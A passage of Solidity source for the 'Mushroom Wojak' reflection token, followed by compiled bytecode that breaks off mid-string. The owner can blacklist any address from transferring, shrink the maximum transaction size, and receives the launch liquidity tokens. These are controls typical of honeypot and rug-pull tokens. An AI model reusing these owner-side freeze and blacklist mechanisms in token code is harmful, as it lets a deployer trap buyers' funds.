bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MushroomWojak is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1* 10**12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Mushroom Wojak";
string private constant _symbol = 'MOJAK️';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 2;
uint256 private _teamFee = 13;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = false;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061160f565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117be565b6040518082815260200191505060405180910390f35b60606040518060400160405280600e81526020017f4d757368726f6f6d20576f6a616b000000000000000000000000000000000000815250905090565b600061076b610764611845565b848461184d565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a44565b6108548461079f611845565b61084f85604051806060016040528060288152602001613d3160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611845565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122a39092919063ffffffff16565b61184d565b600190509392505050565b610867611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611845565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf81612363565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245e565b90505b919050565b610bd5611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f4d4f4a414befb88f000000000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611845565b8484611a44565b6001905092915050565b610ddf611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611845565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e816124e2565b50565b610fa9611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061184d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506000601360176101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115d057600080fd5b505af11580156115e4573d6000803e3d6000fd5b505050506040513d60208110156115fa57600080fd5b81019080805190602001909291905050505050565b611617611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161174d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61177c606461176e83683635c9adc5dea000006127cc90919063ffffffff16565b61285290919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118d3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613da76024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611959576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613cee6022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611aca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613d826025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613ca16023913960400191505060405180910390fd5b60008111611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613d596029913960400191505060405180910390fd5b611bb1610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c1f5750611bef610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121e057601360179054906101000a900460ff1615611e85573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ca157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611cfb5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d555750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e8457601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611d9b611845565b73ffffffffffffffffffffffffffffffffffffffff161480611e115750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611df9611845565b73ffffffffffffffffffffffffffffffffffffffff16145b611e83576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f7557601454811115611ec757600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f6b5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f7457600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120205750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120765750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561208e5750601360179054906101000a900460ff165b156121265742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120de57600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061213130610ae2565b9050601360159054906101000a900460ff1615801561219e5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121b65750601360169054906101000a900460ff165b156121de576121c4816124e2565b600047905060008111156121dc576121db47612363565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122875750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561229157600090505b61229d8484848461289c565b50505050565b6000838311158290612350576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156123155780820151818401526020810190506122fa565b50505050905090810190601f1680156123425780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6123b360028461285290919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156123de573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61242f60028461285290919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561245a573d6000803e3d6000fd5b5050565b6000600a548211156124bb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613cc4602a913960400191505060405180910390fd5b60006124c5612af3565b90506124da818461285290919063ffffffff16565b915050919050565b60016013601561010